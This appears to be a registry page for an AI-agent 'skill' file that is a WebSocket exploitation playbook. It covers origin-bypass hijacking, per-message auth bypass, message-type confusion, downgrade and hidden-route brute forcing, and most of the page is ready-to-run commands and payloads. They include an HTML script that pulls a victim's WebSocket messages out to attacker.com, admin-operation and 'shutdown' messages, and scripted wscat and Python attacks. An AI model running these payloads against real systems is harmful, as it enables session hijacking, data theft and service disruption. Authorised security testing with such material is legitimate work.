WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer.
62
73%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.mdLook for Upgrade: websocket in any handshake. Common paths: /ws, /socket.io, /graphql-ws, /cable (Rails ActionCable), /hub (SignalR).
# Quick handshake test
curl -sk -i \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://target" \
https://target/ws
# 101 = upgradedServer doesn't validate Origin. Attacker site can open a WS from the victim's browser with the victim's cookies:
<!-- Hosted on attacker.com -->
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>Test by sending the same request you saw in DevTools but with Origin: https://attacker.com. If server accepts → CSWSH.
Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:
wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"} # ⚠ admin op succeedsServer dispatches by JSON type field. Send a message with two types or a type the server doesn't expect:
{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}} // Unicode-normalize bypassIf the app uses ws:// over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.
WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:
wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.
# Distinct error per route reveals what exists vs what's gated.# wscat — interactive
npm install -g wscat
# websocat — netcat for WS
websocat wss://target/ws
# Burp Suite — full WS interception (Proxy → WebSockets History)
# Pwntools-style for scripted attacks
python3 -c '
import websocket, json
ws = websocket.create_connection("wss://target/ws", header=["Origin: https://target", "Cookie: session=..."])
ws.send(json.dumps({"op":"users.list"}))
print(ws.recv())
ws.close()
'Multiple "engine" levels: long-polling fallback, sticky sessions. Hit /socket.io/?EIO=4&transport=polling first.
CONNECT → SEND → SUBSCRIBE text frames. SUBSCRIBE /topic/admin often missing authz.
connection_init payload often carries auth. Server may accept reconnections without re-authing — replay attack.
Negotiate URL /hub/negotiate. Token in negotiate is reusable for the WS upgrade.
e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.